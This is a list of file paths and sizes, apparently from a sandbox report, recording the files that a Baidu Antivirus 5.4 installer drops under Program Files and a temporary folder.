%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\ieprotect\skin\lockClosed.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\icon\PSafe.ico (1651 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\scrollbar\scrollbar_thumb_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\ProcessCustomScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\main_title_number .png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\639C9925-1C42-4236-991B-AEAB22353808\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\arrow_down.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\setting_btn_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Pop_Hips\Plugin_Pop_Hips.dll (3732 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin\unloadInvestigateTitle.png (29 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\SecurityCode\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin\investigate_op_layout1_bg.png (44 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\radiobox\radio_unsel_hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1098.NewYorkYankeesToolbar.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\likeGray.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\log.dll (3616 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1089.DVDVideoSoftToolbar.rul (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\summary_top_safe_text.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1082.PricePeep.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\TopBtnClose.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\plugin\bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavTray\skin.xml (90 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\ielogo.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\bg_bubble_style_1.png (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\9FB78DD8-8083-4d5b-86FA-7C9AE2B224E0\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\scrollbar\scrollbar_thumb_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\close_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\protect_icon_no.png (34 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\ieprotect\skin\setbtn_off_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\ProcessQuickScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1240.shares.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\guide_bg9.png (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\progressbar\Installing.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\offBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\DEF8DB04-2D26-469A-8D59-5D813E89773D\gray_icon.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\dds.dat (523 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavTray\skin\dl_threat_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\GuideSlice_6.png (96 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1242.utorrentcontrolv6.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin\mainFrame_investigate_mini_layout2_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\firsttips\close_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\offBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin\investigate_op_layout2_bg.png (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\bg\bg_safe.bmp (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\VirusList\skin\onaccess\icon_ok.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\stepbar\inner.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavOpenUnknownFile.exe (3718 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1107.TVGenie.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\main_title_unprotected.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\scrollbar\scrollbar_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavPluginRemove\skin.xml (28 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\sysbutton\TopBtnMin.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUpdater\skin\en_reboot_title.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\ieprotect\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\menu_ico1.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1166.SpyAlert.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\logosmall4.png (72 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\popbaseblueF.bmp (205 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavconfig\SandboxEnv.xml (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavAs.dll (3688 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1162.TidyNetwork.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\onBtnHover.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1209.Torntv.rul (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\MyWebSearch.rul (24 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavLSP.dll (50 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Quarantine\res\skin\top_icon.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_exit.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\popBg.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\offBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUpdater\skin\en_reboot_title.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHCHHandler.dll (3873 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\Upgrade-info.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\feedback\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_orange_arrow_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\msg_bg_blue_line.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\feedback\skin\SUBMIT_bg2.png (64 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\main_title_safe.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools\tools_num.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\CrashUL.exe (313 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_update.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\sysbutton\TopBtnSkin.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\tree\tree_title_bk1.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\ieprotect\skin\safeicon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\hp_green_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\guide.close.over.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1152.DealCola.rul (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\newtipsbase.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1214.CouponServer.rul (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUpdater\skin\en_reboot_title.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin.xml (60 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin\unloadInvestigateTitle.png (30 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\combobox_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\focus.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\qs2fs_close_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin\investigate_op_layout3_bg.png (26 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\sysbutton\TopBtnDown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\hipsma.dat (590 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\netshop_bg.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_infectfile.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\offBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_engine_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\offBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\checkox_sel_disale.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\tab.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\onBtnNormal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\protection_line_class.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_scan.bmp (114 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\mn.dat (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1176.AutoLyrics.rul (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\context\context.ini (324 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\checkbox_sel_nor.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_protect_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavTray\skin\black_pop_excluded.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\bluebg_checkbox_hot_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\mainFrame_investigate_mini_layout1_bg.png (85 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_infectdesktop.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\IPlug_Scan\IPlug_Scan.dll (1702 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bndef.sys (1742 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin1033.txt (45 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\IWantThis.rul (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\browerIcon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\headbase.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\main_tab_scan_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\ieprotect\skin\setbtn_on_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavPluginRemove\skin.xml (35 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\guide_7_slice_browser_setup_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1172.AskPartnerNetwork.rul (48 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\set_tab_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\offBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1102.FastFreeConverter.rul (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\PC_Faster_Setup_Mini_GL16.exe (5442 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\hp_green_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\sc.ini (626 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\ProcessFullScan.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\guide_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1246.vuzeremote.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\tree\up.png (872 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135\detailDef.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavPluginRemove\skin.xml (39 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\protect_icon_part.png (42 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\sysbutton\TopBtnForum.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\tg.dat (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavVt.dll (122 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\ieprotect\skin\lockClosed.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\icon.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavTray\skin\dl_threat_s.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin\investigate_op_layout2_bg.png (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\green_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavTray\skin\dl_threat_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\checkbox\checkbox_sel_nor.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\plugin\button_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\ieprotect\skin\setbtn_off_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\summary_top_safe_scanfinish.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Communication.dll (266 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\VirusList\skin\onaccess\listHeadLine.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\ieprotect\skin\setbtn_off_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\mainFrame_investigate_mini_layout2_bg.png (60 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\gray_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\feedback_button_down.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\dump\CrashReportModuleConf.ini (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1\icon5N.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\button_close_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\summary_top_safe_custom.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\main_tab_protect_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\icon_note_big.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1226.quiknowledge.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1241.certified.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\icon_reinstall_warning.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\scrollbar\scrollbar_thumb_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1074.CodecPerformer.rul (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\bg.png (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin.xml (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\BavPc.dll (1834 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavTray\skin\dl_threat_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\FailedTips.bskin (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\button\TrustBtnDown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavTray\skin\black_pop_detected.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\protect_page_logo.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavconfig\TipDelLanguageConfig.xml (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BEVMEngine.dll (3845 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1200.shopperpro.rul (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\side_orange_arrow_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\menu\menu_item_pup.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\main_title_safe.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1165.SavingsScout.rul (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\blue_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\tipsBg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\ieprotect\skin\lockClosed.png (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Baidu Antivirus\Uninstall.lnk (727 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1207.hdshop.rul (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin.xml (12 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavSs.dll (137 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavPluginRemove\skin.xml (34 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_off_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\bg\bg_scan_menu.bmp (42 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_openbav.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin\investigate_op_layout3_bg.png (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\closeBtn.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1181.Highlightly.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1117.RewardsArcade.rul (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\logogreen.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Pulgin_Dark_DeleteFileTip.dll (277 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\progressbar\focus.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\oovoo.rul (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\tree\pop_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\unlike_select.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_keep.png (30 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin.xml (64 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\circle.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavTray\skin\dl_scanning.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavTray\skin\dl_safe_s.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin.xml (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1167.KingTranslate.rul (63 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\summary_top_safe_text.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin.xml (41 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_popuphover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\ProcessRightmenuScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_green_arrow_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavTray\skin\black_pop_detected.png (2 bytes)
